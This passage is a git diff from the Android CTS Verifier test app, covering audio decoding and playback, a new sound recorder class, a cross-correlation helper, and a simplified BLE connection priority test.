-                        valuesOfInterest = mMinBufferSizeInSamples;
-                    }
-                    mPipe.read(mAudioShortArray, 0,valuesOfInterest);
-                    //inject into output.
-                    mAudioTrack.write(mAudioShortArray, 0, valuesOfInterest);
-                }
-            } else {
+            if (mUseMediaPlayer) {
+                log("run . using media player");
                 try {
-                    sleep(10);
+                    Thread.sleep(10);
                 } catch (InterruptedException e) {
                     e.printStackTrace();
                 }
+            } else {
+                if (isInitialized && !outputEosSignalled) {
+
+                    synchronized (mLock) {
+
+                        int bytesPerSample = getBytesPerSample(mInputAudioFormat);
+
+                        int valuesAvailable = mDecoderPipe.availableToRead();
+                        if (valuesAvailable > 0 && mAudioTrack != null) {
+                            int valuesOfInterest = valuesAvailable;
+                            if (mMinBufferSizeInSamples < valuesOfInterest) {
+                                valuesOfInterest = mMinBufferSizeInSamples;
+                            }
+                            mDecoderPipe.read(mAudioShortArray, 0, valuesOfInterest);
+                            //inject into output.
+                            mAudioTrack.write(mAudioShortArray, 0, valuesOfInterest);
+
+                            //delay
+                            int delayMs = (int)(1000.0f * valuesOfInterest /
+                                    (float)(mInputSampleRate * bytesPerSample *
+                                            mInputChannelCount));
+                            delayMs = Math.max(2, delayMs);
+
+                            try {
+                                Thread.sleep(delayMs);
+                            } catch (InterruptedException e) {
+                                e.printStackTrace();
+                            }
+                        } else {
+                            //read another block if possible
+
+                            decodeRounds++;
+                            if (!inputEosSignalled) {
+                                final int inputBufIndex = mCodec.dequeueInputBuffer(TIME_OUT_US);
+                                if (inputBufIndex >= 0) {
+                                    ByteBuffer encodedBuf = mCodec.getInputBuffer(inputBufIndex);
+                                    final int sampleSize =
+                                            mExtractor.readSampleData(encodedBuf, 0 /* offset */);
+                                    long presentationTimeUs = 0;
+                                    if (sampleSize < 0) {
+                                        inputEosSignalled = true;
+                                        log("[v] input EOS at decode round " + decodeRounds);
+
+                                    } else {
+                                        presentationTimeUs = mExtractor.getSampleTime();
+                                    }
+                                    mCodec.queueInputBuffer(inputBufIndex, 0/*offset*/,
+                                            inputEosSignalled ? 0 : sampleSize, presentationTimeUs,
+                                            (inputEosSignalled && !mLooping) ?
+                                                    MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+                                    if (!inputEosSignalled) {
+                                        mExtractor.advance();
+                                    }
+
+                                    if (inputEosSignalled && mLooping) {
+                                        log("looping is enabled. Rewinding");
+                                        mExtractor.seekTo(0, MediaExtractor.SEEK_TO_PREVIOUS_SYNC);
+                                        inputEosSignalled = false;
+                                    }
+                                } else {
+                                    log("[v] no input buffer available at decode round "
+                                            + decodeRounds);
+                                }
+                            } //!inputEosSignalled
+
+                            final int outputRes = mCodec.dequeueOutputBuffer(buffInfo, TIME_OUT_US);
+
+                            if (outputRes >= 0) {
+                                if (buffInfo.size > 0) {
+                                    final int outputBufIndex = outputRes;
+                                    final ByteBuffer decodedBuf =
+                                            mCodec.getOutputBuffer(outputBufIndex);
+
+                                    short sValue = 0; //scaled to 16 bits
+                                    int index = 0;
+                                    for (int i = 0; i < buffInfo.size && index <
+                                            mAudioShortArray.length; i += bytesPerSample) {
+                                        switch (mInputAudioFormat) {
+                                            case AudioFormat.ENCODING_PCM_FLOAT:
+                                                sValue = (short) (decodedBuf.getFloat(i) * 32768.0);
+                                                break;
+                                            case AudioFormat.ENCODING_PCM_16BIT:
+                                                sValue = (short) decodedBuf.getShort(i);
+                                                break;
+                                            case AudioFormat.ENCODING_PCM_8BIT:
+                                                sValue = (short) ((decodedBuf.getChar(i) - 128) *
+                                                        128);
+                                                break;
+                                        }
+                                        mAudioShortArray[index] = sValue;
+                                        index++;
+                                    }
+                                    mDecoderPipe.write(mAudioShortArray, 0, index);
+                                    mPipe.write(mAudioShortArray, 0, index);
+
+                                    mCodec.getOutputBuffer(outputBufIndex).position(0);
+                                    mCodec.releaseOutputBuffer(outputBufIndex,
+                                            false/*render to surface*/);
+                                    if ((buffInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) !=
+                                            0) {
+                                        outputEosSignalled = true;
+                                    }
+                                }
+                            } else if (outputRes == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                                log("[w] INFO_OUTPUT_FORMAT_CHANGED at decode round " +
+                                        decodeRounds);
+                                decodeRounds = 0;
+                            } else if (outputRes == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                                log("[w] INFO_TRY_AGAIN_LATER at decode round " + decodeRounds);
+                                if (!mLooping) {
+                                    outputEosSignalled = true; //quit!
+                                }
+                            }
+                        }
+                    }
+
+                    if (outputEosSignalled) {
+                        log ("note: outputEosSignalled");
+                    }
+                }
+                else {
+                    try {
+                        Thread.sleep(10);
+                    } catch (InterruptedException e) {
+                        e.printStackTrace();
+                    }
+                }
             }
         }
+        log("done running thread");
     }
 
     public void setBalance(float balance) {
@@ -109,43 +272,147 @@
         }
     }
 
+    boolean inputEosSignalled = false;
+    boolean outputEosSignalled = false;
+
     public void setSoundWithResId(Context context, int resId) {
+
+        setSoundWithResId(context, resId, true);
+    }
+
+    public void setSoundWithResId(Context context, int resId, boolean looping) {
+        log("setSoundWithResId " + resId + ", looping: " + looping);
+        mLooping = looping;
+        mContext = context;
+        if (mContext == null) {
+            log("Context can't be null");
+            return;
+        }
+
         boolean playing = isPlaying();
+        if (playing) {
+            play(false);
+        }
         //release player
         releasePlayer();
+        isInitialized = false;
+
+        log("loading uri: " + resId);
         mResId = resId;
+        Uri uri = Uri.parse("android.resource://com.android.cts.verifier/" + resId);
         if (mUseMediaPlayer) {
             mMediaPlayer = new MediaPlayer();
             try {
                 log("opening resource with stream type: " + mStreamType);
                 mMediaPlayer.setAudioStreamType(mStreamType);
-                mMediaPlayer.setDataSource(context.getApplicationContext(),
-                        Uri.parse("android.resource://com.android.cts.verifier/" + resId));
+                mMediaPlayer.setDataSource(mContext.getApplicationContext(),
+                        uri);
                 mMediaPlayer.prepare();
             } catch (IOException e) {
                 e.printStackTrace();
+                log("Error: " + e.toString());
             }
-            mMediaPlayer.setLooping(true);
+            mMediaPlayer.setLooping(mLooping);
             setBalance(mBalance);
-        } else {
-            mMinPlayBufferSizeInBytes = AudioTrack.getMinBufferSize(mSamplingRate,
-                    mChannelConfigOut, mAudioFormat);
-
-            mMinBufferSizeInSamples = mMinPlayBufferSizeInBytes / 2;
-            mAudioShortArray = new short[mMinBufferSizeInSamples * 4];
-
-            mAudioTrack = new AudioTrack(mStreamType,
-                    mSamplingRate,
-                    mChannelConfigOut,
-                    mAudioFormat,
-                    mMinPlayBufferSizeInBytes,
-                    AudioTrack.MODE_STREAM /* FIXME runtime test for API level 9 ,
-                mSessionId */);
-            mPipe.flush();
             isInitialized = true;
-        }
 
-        log("done preparing media player");
+        } else {
+            synchronized (mLock) {
+                //TODO: encapsulate MediaPlayer and AudioTrack related code into separate classes
+                // with common interface. Simplify locking code.
+                mDecoderPipe.flush();
+                mPipe.flush();
+
+                if (mCodec != null)
+                    mCodec = null;
+                try {
+                    mExtractor = new MediaExtractor();
+                    mExtractor.setDataSource(mContext.getApplicationContext(), uri, null);
+                    final int trackCount = mExtractor.getTrackCount();
+
+//                    log("Track count: " + trackCount);
+                    // find first audio track
+                    MediaFormat format = null;
+                    String mime = null;
+                    for (int i = 0; i < trackCount; i++) {
+                        format = mExtractor.getTrackFormat(i);
+                        mime = format.getString(MediaFormat.KEY_MIME);
+                        if (mime.startsWith("audio/")) {
+                            mExtractor.selectTrack(i);
+//                            log("found track " + i + " with MIME = " + mime);
+                            break;
+                        }
+                    }
+                    if (format == null) {
+                        log("found 0 audio tracks in " + uri);
+                    }
+                    MediaCodecList mclist = new MediaCodecList(MediaCodecList.ALL_CODECS);
+
+                    String myDecoderName = mclist.findDecoderForFormat(format);
+//                    log("my decoder name = " + myDecoderName);
+
+                    mCodec = MediaCodec.createByCodecName(myDecoderName);
+
+//                    log("[ok] about to configure codec with " + format);
+                    mCodec.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
+
+                    // prepare decoding
+                    mCodec.start();
+
+                    inputEosSignalled = false;
+                    outputEosSignalled = false;
+
+                    MediaFormat outputFormat = format;
+
+                    printAudioFormat(outputFormat);
+
+                    //int sampleRate
+                    mInputSampleRate = getMediaFormatInteger(outputFormat,
+                            MediaFormat.KEY_SAMPLE_RATE, 48000);
+                    //int channelCount
+                    mInputChannelCount = getMediaFormatInteger(outputFormat,
+                            MediaFormat.KEY_CHANNEL_COUNT, 1);
+
+                    mInputAudioFormat = getMediaFormatInteger(outputFormat,
+                            MediaFormat.KEY_PCM_ENCODING,
+                            AudioFormat.ENCODING_PCM_16BIT);
+
+                    int channelMask = channelMaskFromCount(mInputChannelCount);
+                    int buffSize = AudioTrack.getMinBufferSize(mInputSampleRate, channelMask,
+                            mInputAudioFormat);
+
+                    AudioAttributes.Builder aab = new AudioAttributes.Builder()
+                            .setLegacyStreamType(mStreamType);
+
+                    AudioFormat.Builder afb = new AudioFormat.Builder()
+                            .setEncoding(mInputAudioFormat)
+                            .setSampleRate(mInputSampleRate)
+                            .setChannelMask(channelMask);
+
+                    AudioTrack.Builder atb = new AudioTrack.Builder()
+                            .setAudioAttributes(aab.build())
+                            .setAudioFormat(afb.build())
+                            .setBufferSizeInBytes(buffSize)
+                            .setTransferMode(AudioTrack.MODE_STREAM);
+
+                    mAudioTrack = atb.build();
+
+                    mMinPlayBufferSizeInBytes = AudioTrack.getMinBufferSize(mInputSampleRate,
+                            mChannelConfigOut, mInputAudioFormat);
+
+                    mMinBufferSizeInSamples = mMinPlayBufferSizeInBytes / 2;
+                    mAudioShortArray = new short[mMinBufferSizeInSamples * 100];
+                    mAudioTrack.setPlaybackPositionUpdateListener(this);
+                    mAudioTrack.setPositionNotificationPeriod(mBlockSizeSamples);
+                    isInitialized = true;
+                } catch (IOException e) {
+                    e.printStackTrace();
+                    log("Error creating codec or extractor: " + e.toString());
+                }
+            }
+        } //mLock
+
+//        log("done preparing media player");
         if (playing)
             play(true); //start playing if it was playing before
     }
@@ -157,13 +424,46 @@
                 result = mMediaPlayer.isPlaying();
             }
         } else {
-            if (mAudioTrack != null) {
-                result = mAudioTrack.getPlayState() == AudioTrack.PLAYSTATE_PLAYING;
+            synchronized (mLock) {
+                if (mAudioTrack != null) {
+                    result = mAudioTrack.getPlayState() == AudioTrack.PLAYSTATE_PLAYING;
+                }
             }
         }
         return result;
     }
 
+    public boolean isAlive() {
+        if (mUseMediaPlayer) {
+            return true;
+        }
+
+        synchronized (mLock) {
+            if (mPlaybackThread != null) {
+                return mPlaybackThread.isAlive();
+            }
+        }
+        return false;
+    }
+
+    public void start() {
+        if (!mUseMediaPlayer) {
+            synchronized (mLock) {
+                if (mPlaybackThread == null) {
+                    mPlaybackThread = new Thread(this);
+                    mPlaybackThread.setName("playbackThread");
+                    log("Created playback thread " + mPlaybackThread);
+                }
+
+                if (!mPlaybackThread.isAlive()) {
+                    mPlaybackThread.start();
+                    mPlaybackThread.setPriority(Thread.MAX_PRIORITY);
+                    log("Started playback thread " + mPlaybackThread);
+                }
+            }
+        }
+    }
+
     public void play(boolean play) {
         if (mUseMediaPlayer) {
             if (mMediaPlayer != null) {
@@ -174,15 +474,22 @@
                 }
             }
         } else {
-            if (mAudioTrack != null && isInitialized) {
-                if (play) {
-                    mPipe.flush();
-                    mAudioTrack.flush();
-                    mAudioTrack.play();
-                } else {
-                    mAudioTrack.pause();
+            synchronized (mLock) {
+                log(" called Play : " + play);
+                if (mAudioTrack != null && isInitialized) {
+                    if (play) {
+                        log("Play");
+                        mDecoderPipe.flush();
+                        mPipe.flush();
+                        mAudioTrack.play();
+                    } else {
+                        log("pause");
+                        mAudioTrack.pause();
+                        isRunning = false;
+                    }
                 }
             }
+            start();
         }
     }
 
@@ -198,12 +505,34 @@
             mMediaPlayer = null;
         }
 
-        if (mAudioTrack != null) {
-            mAudioTrack.stop();
-            mAudioTrack.release();
-            mAudioTrack = null;
+        isRunning = false;
+        synchronized (mLock) {
+            if (mAudioTrack != null) {
+                mAudioTrack.stop();
+                mAudioTrack.setPlaybackPositionUpdateListener(null);
+                mAudioTrack.release();
+                mAudioTrack = null;
+            }
+        }
+
+        log("Deleting playback thread " + mPlaybackThread);
+        Thread zeThread = mPlaybackThread;
+        mPlaybackThread = null;
+
+        if (zeThread != null) {
+            log("terminating zeThread...");
+            zeThread.interrupt();
+            try {
+                log("zeThread join...");
+                zeThread.join();
+            } catch (InterruptedException e) {
+                log("issue deleting playback thread " + e.toString());
+                zeThread.interrupt();
+            }
         }
         isInitialized = false;
+        log("Done deleting thread");
+
     }
 
     /*
@@ -212,4 +541,92 @@
     private static void log(String msg) {
         Log.v(LOGTAG, msg);
     }
+
+    private final int getMediaFormatInteger(MediaFormat mf, String name, int defaultValue) {
+        try {
+            return mf.getInteger(name);
+        } catch (NullPointerException e) {
+            log("Warning: MediaFormat " + name +
+                " field does not exist. Using default " + defaultValue); /* no such field */
+        } catch (ClassCastException e) {
+            log("Warning: MediaFormat " + name +
+                    " field unexpected type"); /* field of different type */
+        }
+        return defaultValue;
+    }
+
+    public static int getBytesPerSample(int audioFormat) {
+        switch(audioFormat) {
+            case AudioFormat.ENCODING_PCM_16BIT:
+                return 2;
+            case AudioFormat.ENCODING_PCM_8BIT:
+                return 1;
+            case AudioFormat.ENCODING_PCM_FLOAT:
+                return 4;
+        }
+        return 0;
+    }
+
+    private void printAudioFormat(MediaFormat format) {
+        try {
+            log("channel mask = " + format.getInteger(MediaFormat.KEY_CHANNEL_MASK));
+        } catch (NullPointerException npe) {
+            log("channel mask unknown");
+        }
+        try {
+            log("channel count = " + format.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+        } catch (NullPointerException npe) {
+            log("channel count unknown");
+        }
+        try {
+            log("sample rate = " + format.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+        } catch (NullPointerException npe) {
+            log("sample rate unknown");
+        }
+        try {
+            log("sample format = " + format.getInteger(MediaFormat.KEY_PCM_ENCODING));
+        } catch (NullPointerException npe) {
+            log("sample format unknown");
+        }
+    }
+
+    public static int channelMaskFromCount(int channelCount) {
+        switch(channelCount) {
+            case 1:
+                return AudioFormat.CHANNEL_OUT_MONO;
+            case 2:
+                return AudioFormat.CHANNEL_OUT_STEREO;
+            case 3:
+                return AudioFormat.CHANNEL_OUT_STEREO | AudioFormat.CHANNEL_OUT_FRONT_CENTER;
+            case 4:
+                return AudioFormat.CHANNEL_OUT_FRONT_LEFT |
+                        AudioFormat.CHANNEL_OUT_FRONT_RIGHT | AudioFormat.CHANNEL_OUT_BACK_LEFT |
+                        AudioFormat.CHANNEL_OUT_BACK_RIGHT;
+            case 5:
+                return AudioFormat.CHANNEL_OUT_FRONT_LEFT |
+                        AudioFormat.CHANNEL_OUT_FRONT_RIGHT | AudioFormat.CHANNEL_OUT_BACK_LEFT |
+                        AudioFormat.CHANNEL_OUT_BACK_RIGHT
+                        | AudioFormat.CHANNEL_OUT_FRONT_CENTER;
+            case 6:
+                return AudioFormat.CHANNEL_OUT_5POINT1;
+            default:
+                return 0;
+        }
+    }
+
+    public void periodicNotification(AudioTrack track) {
+    }
+
+    public void markerReached(AudioTrack track) {
+    }
+
+    @Override
+    public void onMarkerReached(AudioTrack track) {
+        markerReached(track);
+    }
+
+    @Override
+    public void onPeriodicNotification(AudioTrack track) {
+        periodicNotification(track);
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundRecorderObject.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundRecorderObject.java
new file mode 100644
index 0000000..8950ec5
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundRecorderObject.java
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.os.SystemClock;
+import android.util.Log;
+import com.android.cts.verifier.audio.wavelib.*;
+
+public class SoundRecorderObject implements Runnable,
+        AudioRecord.OnRecordPositionUpdateListener {
+    private static final String TAG = "SoundRecorderObject";
+
+    private AudioRecord mRecorder;
+    private int mMinRecordBufferSizeInSamples = 0;
+    private short[] mAudioShortArray;
+
+    private final int mBlockSizeSamples;
+    private final int mSamplingRate;
+    private final int mSelectedRecordSource;
+    private final int mChannelConfig = AudioFormat.CHANNEL_IN_MONO;
+    private final int mAudioFormat = AudioFormat.ENCODING_PCM_16BIT;
+    private final int mBytesPerSample = 2; //pcm int16
+    private Thread mRecordThread;
+
+    public PipeShort mPipe = new PipeShort(65536);
+
+    public SoundRecorderObject(int samplingRate, int blockSize, int recordingSource) {
+        mSamplingRate = samplingRate;
+        mBlockSizeSamples = blockSize;
+        mSelectedRecordSource = recordingSource;
+    }
+
+    public int getAudioSessionId() {
+        if (mRecorder != null) {
+            return mRecorder.getAudioSessionId();
+        }
+        return -1;
+    }
+
+    public void startRecording() {
+        boolean successful = initRecord();
+        if (successful) {
+            startRecordingForReal();
+        } else {
+            Log.v(TAG, "Recorder initialization error.");
+        }
+    }
+
+    private void startRecordingForReal() {
+        // start streaming
+        if (mRecordThread == null) {
+            mRecordThread = new Thread(this);
+            mRecordThread.setName("recordingThread");
+        }
+        if (!mRecordThread.isAlive()) {
+            mRecordThread.start();
+        }
+
+        mPipe.flush();
+
+//        long startTime = SystemClock.uptimeMillis();
+        mRecorder.startRecording();
+        if (mRecorder.getRecordingState() != AudioRecord.RECORDSTATE_RECORDING) {
+            stopRecording();
+            return;
+        }
+        // Log.v(TAG, "Start time: " + (long) (SystemClock.uptimeMillis() - startTime) + " ms");
+    }
+
+    public void stopRecording() {
+        //TODO: consider addin a lock to protect usage
+        stopRecordingForReal();
+    }
+
+    private void stopRecordingForReal() {
+        // stop streaming
+        Thread zeThread = mRecordThread;
+        mRecordThread = null;
+        if (zeThread != null) {
+            zeThread.interrupt();
+            try {
+                zeThread.join();
+            } catch(InterruptedException e) {
+                //restore interrupted status of recording thread
+                zeThread.interrupt();
+            }
+        }
+        // release recording resources
+        if (mRecorder != null) {
+            mRecorder.stop();
+            mRecorder.release();
+            mRecorder = null;
+        }
+    }
+
+    private boolean initRecord() {
+        int minRecordBuffSizeInBytes = AudioRecord.getMinBufferSize(mSamplingRate,
+                mChannelConfig, mAudioFormat);
+        Log.v(TAG,"FrequencyAnalyzer: min buff size = " + minRecordBuffSizeInBytes + " bytes");
+        if (minRecordBuffSizeInBytes <= 0) {
+            return false;
+        }
+
+        mMinRecordBufferSizeInSamples = minRecordBuffSizeInBytes / mBytesPerSample;
+        // allocate the byte array to read the audio data
+
+        mAudioShortArray = new short[mMinRecordBufferSizeInSamples];
+
+        Log.v(TAG, "Initiating record:");
+        Log.v(TAG, "using source " + mSelectedRecordSource);
+        Log.v(TAG, "at " + mSamplingRate + "Hz");
+
+        try {
+            mRecorder = new AudioRecord(mSelectedRecordSource, mSamplingRate,
+                    mChannelConfig, mAudioFormat,
+                    2 * minRecordBuffSizeInBytes /* double size for padding */);
+        } catch (IllegalArgumentException e) {
+            return false;
+        }
+        if (mRecorder.getState() != AudioRecord.STATE_INITIALIZED) {
+            mRecorder.release();
+            mRecorder = null;
+            return false;
+        }
+        mRecorder.setRecordPositionUpdateListener(this);
+        mRecorder.setPositionNotificationPeriod(mBlockSizeSamples / 2);
+        return true;
+    }
+
+    public void periodicNotification(AudioRecord recorder) {}
+    public void markerReached(AudioRecord track) {}
+
+     // ---------------------------------------------------------
+     // Implementation of AudioRecord.OnPeriodicNotificationListener
+     // --------------------
+    @Override
+    public void onPeriodicNotification(AudioRecord recorder) {
+        periodicNotification(recorder);
+    }
+
+    @Override
+    public void onMarkerReached(AudioRecord track) {
+        markerReached(track);
+    }
+
+    // ---------------------------------------------------------
+    // Implementation of Runnable for the audio recording + playback
+    // --------------------
+    public void run() {
+        Thread thisThread = Thread.currentThread();
+        while (!thisThread.isInterrupted()) {
+            // read from native recorder
+            int nSamplesRead = mRecorder.read(mAudioShortArray, 0, mMinRecordBufferSizeInSamples);
+            if (nSamplesRead > 0) {
+                mPipe.write(mAudioShortArray, 0, nSamplesRead);
+            }
+        }
+    }
+}
+
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/wavelib/DspBufferMath.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/wavelib/DspBufferMath.java
index a9cbbd0..39b3ae7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/wavelib/DspBufferMath.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/wavelib/DspBufferMath.java
@@ -326,4 +326,55 @@
         }
         return MATH_RESULT_ERROR;
     }
+
+
+    /**
+     * compute normalized cross correlation r = a (*) b
+     */
+
+    static public <T extends DspBufferDouble> int crossCorrelation(T r, T a, T b) {
+        int size = Math.min(a.getSize(), b.getSize());
+        r.setSize(size);
+
+        //statistics
+        double mean1 = 0; //mean
+        double mean2 = 0;
+        double var1 = 0;  //variance
+        double var2 = 0;
+
+        double sum1 = 0;
+        double sum2 = 0;
+        for (int i = 0; i < size; i++) {
+            sum1 += ((DspBufferDouble) a).mData[i];
+            sum2 += ((DspBufferDouble) b).mData[i];
+        }
+        mean1 = sum1/size;
+        mean2 = sum2/size;
+
+        double temp1 = 0;
+        double temp2 = 0;
+        for (int i = 0; i < size; i++) {
+            temp1 += (((DspBufferDouble) a).mData[i] - mean1)*(((DspBufferDouble) a).mData[i] -
+                    mean1);
+            temp2 += (((DspBufferDouble) b).mData[i] - mean2)*(((DspBufferDouble) b).mData[i] -
+                    mean2);
+        }
+        var1 = temp1/size;
+        var2 = temp2/size;
+
+        double varScaling = Math.sqrt(var1 * var2);
+
+        if (varScaling > 0.0000001) {
+            for (int i = 0; i < size; i++) {
+                ((DspBufferDouble) r).mData[i] = 0;
+                double tempCross = 0;
+                for (int j = 0; j < size - i; j++) {
+                    tempCross += (((DspBufferDouble) a).mData[j] - mean1) *
+                            (((DspBufferDouble) b).mData[i + j] - mean2);
+                }
+                ((DspBufferDouble) r).mData[i] = (float) (tempCross / (size * varScaling));
+            }
+        }
+        return MATH_RESULT_SUCCESS;
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
index 47ea81f..9119aae 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
@@ -40,17 +40,12 @@
 public class BleConnectionPriorityClientBaseActivity extends PassFailButtons.Activity {

 

     private TestAdapter mTestAdapter;

-    private int mPassed = 0;

+    private boolean mPassed = false;

     private Dialog mDialog;

 

-    private static final int BLE_CONNECTION_HIGH = 0;

-    private static final int BLE_CONNECTION_BALANCED = 1;

-    private static final int BLE_CONNECTION_LOW = 2;

+    private static final int BLE_CONNECTION_UPDATE = 0;

 

-    private static final int PASSED_HIGH = 0x1;

-    private static final int PASSED_BALANCED = 0x2;

-    private static final int PASSED_LOW = 0x4;

-    private static final int ALL_PASSED = 0x7;

+    private static final int ALL_PASSED = 0x1;

 

     private boolean mSecure;

 

@@ -80,9 +75,7 @@
         IntentFilter filter = new IntentFilter();

         filter.addAction(BleConnectionPriorityClientService.ACTION_BLUETOOTH_DISABLED);

         filter.addAction(BleConnectionPriorityClientService.ACTION_CONNECTION_SERVICES_DISCOVERED);

-        filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_HIGH);

-        filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_BALANCED);

-        filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER);

+        filter.addAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_FINISH);

         filter.addAction(BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE);

         filter.addAction(BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_INSECURE);

         filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_DISCONNECT);

@@ -140,9 +133,7 @@
 

     private List<Integer> setupTestList() {

         ArrayList<Integer> testList = new ArrayList<Integer>();

-        testList.add(R.string.ble_connection_priority_client_high);

-        testList.add(R.string.ble_connection_priority_client_balanced);

-        testList.add(R.string.ble_connection_priority_client_low);

+        testList.add(R.string.ble_connection_priority_client_description);

         return testList;

     }

 

@@ -157,44 +148,24 @@
     private void executeNextTestImpl() {

         switch (mCurrentTest) {

             case -1: {

-                mCurrentTest = BLE_CONNECTION_HIGH;

+                mCurrentTest = BLE_CONNECTION_UPDATE;

                 Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

-                intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_HIGH);

+                intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_START);

                 startService(intent);

-                String msg = getString(R.string.ble_client_connection_priority)

-                        + getString(R.string.ble_connection_priority_high);

+                String msg = getString(R.string.ble_client_connection_priority);

                 Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();

             }

                 break;

-            case BLE_CONNECTION_BALANCED: {

-                mCurrentTest = BLE_CONNECTION_LOW;

-                Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

-                intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_LOW_POWER);

-                startService(intent);

-                String msg = getString(R.string.ble_client_connection_priority)

-                        + getString(R.string.ble_connection_priority_low);

-                Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();

-            }

-                break;

-            case BLE_CONNECTION_HIGH: {

-                mCurrentTest = BLE_CONNECTION_BALANCED;

-                Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

-                intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_BALANCED);

-                startService(intent);

-                String msg = getString(R.string.ble_client_connection_priority)

-                        + getString(R.string.ble_connection_priority_balanced);

-                Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();

-            }

-                break;

-            case BLE_CONNECTION_LOW:

+            case BLE_CONNECTION_UPDATE: {

                 // all test done

                 closeDialog();

-                if (mPassed == ALL_PASSED) {

+                if (mPassed == true) {

                     Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

                     intent.setAction(BleConnectionPriorityClientService.ACTION_DISCONNECT);

                     startService(intent);

                 }

                 break;

+            }

             default:

                 // something went wrong

                 closeDialog();

@@ -227,21 +198,11 @@
                 showProgressDialog();

                 executeNextTest(3000);

                 break;

-            case BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_HIGH:

-                mTestAdapter.setTestPass(BLE_CONNECTION_HIGH);

-                mPassed |= PASSED_HIGH;

+            case BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_FINISH:

+                mTestAdapter.setTestPass(BLE_CONNECTION_UPDATE);

+                mPassed = true;

                 executeNextTest(1000);

                 break;

-            case BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_BALANCED:

-                mTestAdapter.setTestPass(BLE_CONNECTION_BALANCED);

-                mPassed |= PASSED_BALANCED;

-                executeNextTest(1000);

-                break;

-            case BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER:

-                mTestAdapter.setTestPass(BLE_CONNECTION_LOW);

-                mPassed |= PASSED_LOW;

-                executeNextTest(100);

-                break;

             case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE:

                 showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);

                 break;

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java
index 38d37bd..1df40f5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java
@@ -62,19 +62,11 @@
     public static final String ACTION_BLUETOOTH_MISMATCH_INSECURE =

             "com.android.cts.verifier.bluetooth.action.ACTION_BLUETOOTH_MISMATCH_INSECURE";

 

-    public static final String ACTION_CONNECTION_PRIORITY_BALANCED =

-            "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_BALANCED";

-    public static final String ACTION_CONNECTION_PRIORITY_HIGH =

-            "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_HIGH";

-    public static final String ACTION_CONNECTION_PRIORITY_LOW_POWER =

+    public static final String ACTION_CONNECTION_PRIORITY_START =

             "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_LOW_POWER";

 

-    public static final String ACTION_FINISH_CONNECTION_PRIORITY_BALANCED =

-            "com.android.cts.verifier.bluetooth.action.FINISH_CONNECTION_PRIORITY_BALANCED";

-    public static final String ACTION_FINISH_CONNECTION_PRIORITY_HIGH =

-            "com.android.cts.verifier.bluetooth.action.FINISH_CONNECTION_PRIORITY_HIGH";

